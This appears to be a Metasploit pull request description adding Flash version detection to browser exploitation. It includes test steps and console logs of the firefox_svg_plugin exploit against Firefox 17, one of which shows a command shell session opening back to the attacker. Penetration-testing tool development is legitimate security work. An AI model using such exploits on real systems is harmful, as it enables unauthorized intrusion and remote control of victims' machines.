Add Adobe Flash version detection in JavaScript

This adds Adobe Flash version detection in JavaScript. In order to test this, I also updated the firefox_svg_plugin exploit module so you can use it as a test case.

### Verification ###

- [x] Make sure you have Mozilla Firefox 17: http://www.oldapps.com/firefox.php?old_firefox=8492
- [x] Make sure you have Adobe Flash for FF: http://get.adobe.com/flashplayer/
- [x] Test the firefox_svg_plugin exploit. The browser should pass the exploitable requirements.
- [x] Uninstall Flash on your test box
- [x] Test the exploit again. This time you should be denied because of the ```flash``` requirement.

### Demo ###

With Flash:

```
msf exploit(firefox_svg_plugin) > [*] 10.0.1.91        firefox_svg_plugin - Gathering target information.
[*] 10.0.1.91        firefox_svg_plugin - Sending response HTML.
[*] 10.0.1.91        firefox_svg_plugin - Target selected: Universal (Javascript XPCOM Shell)
[*] 10.0.1.91        firefox_svg_plugin - Sending Firefox 17.0.1 Flash Privileged Code Injection
[*] 10.0.1.91        firefox_svg_plugin - Sending .swf trigger.
[*] 10.0.1.91        firefox_svg_plugin - Sending .swf trigger.
[*] Command shell session 1 opened (10.0.1.76:4444 -> 10.0.1.91:49918) at 2014-03-28 15:36:01 -0500
```

Without Flash:

```
msf exploit(firefox_svg_plugin) > [*] 10.0.1.91        firefox_svg_plugin - Gathering target information.
[*] 10.0.1.91        firefox_svg_plugin - Sending response HTML.
[!] 10.0.1.91        firefox_svg_plugin - Exploit requirement(s) not met: flash
```